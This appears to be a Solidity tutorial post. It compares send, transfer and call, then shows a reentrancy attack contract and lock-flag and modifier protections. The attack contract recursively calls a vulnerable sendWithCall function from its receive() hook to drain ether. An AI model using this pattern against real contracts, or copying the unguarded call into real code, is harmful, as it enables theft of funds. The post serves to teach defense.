Difference between Send, Transfer, Call methods and reentrancy Attack and its Solution.

You can see here the difference b/w transfer, send method.

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract sender{
 
    constructor() payable{
        
    }
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    
    // Send function uses fixed amount of gas (2300 gas) and returns bool
    function sendWithSend(address payable _addr) public returns(bool){
        bool check = _addr.send(0.001 ether);
        return check;
    }
        
    // transfer function uses fixed amount of gas (2300 gas) and throws error 
    function sendWithTransfer(address payable _addr) public{
        _addr.transfer(0.001 ether);
    }
}

contract receiver{

    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    
    receive() external payable{

    }
}


Now, Here is the difference b/w transfer, send and call method.

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract sender{
    
    constructor() payable{
        
    }
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    
    // Send function uses fixed amount of gas (2300 gas) and returns bool
    function sendWithSend(address payable _addr) public returns(bool){
        bool check = _addr.send(0.001 ether);
        return check;
    }
        
    // transfer function uses fixed amount of gas (2300 gas) and throws error 
    function sendWithTransfer(address payable _addr) public{
        _addr.transfer(0.001 ether);
    }
    
    //call function take all or defined gas amount and return remaining gas with  bool returns
    //define limit gas use in transaction like this: _addr.call{value: msg.value, gas: 5000}
    function sendWithCall(address payable _addr)public returns(bool){
        (bool success, bytes memory result) = _addr.call{value:0.001 ether}("");
        return success;
    }
}

contract receiver{
    //these two global variables to check the send and transfer function
    uint x;
    uint y;
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    
    receive() external payable{
        //here x and y are modified during receiving ethers.
        //so in this case send and transfer from sender contract return false and throw error due to fixed amount of gas used by 
        //these methods
        
        //but call method take all gas and return remaining.
    
        x = 10;
        y = 20;
    }
}


Here is the reentrancy attack

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract sender{
    
    constructor() payable{
        
    }
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    
    // Send function uses fixed amount of gas (2300 gas) and returns bool
    function sendWithSend(address payable _addr) public returns(bool){
        bool check = _addr.send(0.001 ether);
        return check;
    }
        
    // transfer function uses fixed amount of gas (2300 gas) and throws error 
    function sendWithTransfer(address payable _addr) public{
        _addr.transfer(0.001 ether);
    }
    
    //call function take all or defined gas amount and return remaining gas with  bool returns
    //define limit gas use in transaction like this: _addr.call{value: msg.value, gas: 5000}
    function sendWithCall(address payable _addr)public returns(bool){
        (bool success, bytes memory result) = _addr.call{value:0.001 ether}("");
        return success;
    }
}

contract receiver{
    
    //address of senderContract or vulnerable contract.
    address senderContractAddr;
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    
    receive() external payable{

        // recursive call happened
        attack();
    }
    
    function setSenderContractAddr(address _addr) public{
        senderContractAddr = _addr;
    }
    
    function attack()internal returns(bool){
        (bool success,) = senderContractAddr.call(abi.encodeWithSignature("sendWithCall(address)",address(this)));
        return success;
    }
}

Now protect from reentrancy attack:

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract sender{
    // this flag protect from reentrancy call
    bool locked = false;
    
    constructor() payable{
        
    }
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    
    // Send function uses fixed amount of gas (2300 gas) and returns bool
    function sendWithSend(address payable _addr) public returns(bool){
        bool check = _addr.send(0.001 ether);
        return check;
    }
        
    // transfer function uses fixed amount of gas (2300 gas) and throws error 
    function sendWithTransfer(address payable _addr) public{
        _addr.transfer(0.001 ether);
    }
    
    //call function take all or defined gas amount and return remaining gas with  bool returns
    //define limit gas use in transaction like this: _addr.call{value: msg.value, gas: 5000}
    function sendWithCall(address payable _addr)public returns(bool){
        require(!locked, "Reentrancy Call");
        locked = true;
        (bool success, bytes memory result) = _addr.call{value:0.001 ether}("");
        locked = false;
        return success;
    }
}

contract receiver{
    
    //address of senderContract or vulnerable contract.
    address senderContractAddr;
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
    
    receive() external payable{

        // recursive call happened
        attack();
    }
    
    function setSenderContractAddr(address _addr) public{
        senderContractAddr = _addr;
    }
    
    function attack()internal returns(bool){
        (bool success,) = senderContractAddr.call(abi.encodeWithSignature("sendWithCall(address)",address(this)));
        return success;
    }
}


Another example to protect contract from reentrancy attack with the help of modifier:

contract protectedContract {
    bool locked;
    modifier noReentrancy() {
        require(
            !locked,
            "Reentrant call."
        );
        locked = true;
        _;
        locked = false;
    }

    /// reentrant calls from within `msg.sender.call` cannot call `trasnferAmount` again.
    /// executes the statement `locked = false` in the modifier.
    function transferAmount() public noReentrancy returns (uint) {
        (bool success,) = msg.sender.call("");
        require(success);
        return 7;
    }
}

By Shabair

Frontend | Blockchain | Smart Contract Developer